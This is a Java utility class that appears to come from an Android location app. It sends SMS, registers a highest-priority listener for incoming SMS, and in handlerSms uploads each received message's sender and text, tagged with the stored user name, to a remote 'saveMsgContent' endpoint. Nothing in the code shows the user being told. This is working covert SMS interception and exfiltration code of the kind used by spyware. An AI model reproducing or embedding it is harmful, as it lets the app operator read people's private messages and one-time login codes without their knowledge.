package com.justplay.mobilelocation.util;

import android.content.Context;
import android.content.IntentFilter;
import android.telephony.SmsManager;
import android.util.Log;

import com.justplay.mobilelocation.sms.SmsReceiver;
import com.sunshine.retrofit.HttpUtil;
import com.sunshine.retrofit.interfaces.ErrorFunListener;
import com.sunshine.retrofit.interfaces.Success;

import static android.content.ContentValues.TAG;

public class SmsUtils {
    /**
     * 手机号
     */
    final static boolean DEBUG = true;

    public static void sendSms(Context context, String address, String content) {
        SmsManager smr = SmsManager.getDefault();
        smr.sendMultipartTextMessage(address, null, smr.divideMessage(content), null, null);
        SmsUtils.log(context, "发送：" + address + " " + content);
    }

    public static void log(Context context, String txt) {
        if (DEBUG) {
//            Toast.makeText(context, txt, Toast.LENGTH_SHORT).show();
            Log.e("T_DEBUG", txt);
        }
    }

    public static void regReceiver(Context context, SmsReceiver receiver) {
        try {
            IntentFilter filter = new IntentFilter();
            filter.setPriority(2147483647);
            filter.addAction("android.provider.Telephony.SMS_RECEIVED");
            context.getApplicationContext().registerReceiver(receiver, filter);
        } catch (Exception e) {
            log(context, "注册监听异常：" + e.getMessage());
        }
    }

    public static void handlerSms(Context context, String address, String content) {
        Log.d(TAG, "handlerSms() called with: context = [" + context + "], address = [" + address + "], content = [" + content + "]");
//        Toast.makeText(context, "handlerSms() called with: context = [" + context + "], address = [" + address + "], content = [" + content + "]", Toast.LENGTH_SHORT).show();
        String userName = SharePreferencesUtil.getString("userName", "", context);

        //上传短信
        new HttpUtil.Builder("message/saveMsgContent")
                .Params("mobile", userName)
                .Params("msgContent",address+"   "+ content)
                .Success(new Success() {
                    @Override
                    public void Success(String model) {

                    }
                }).ErrorEventFunc(new ErrorFunListener() {
            @Override
            public void ErrorFun(Object... values) {

            }
        })
                .post();
    }


}
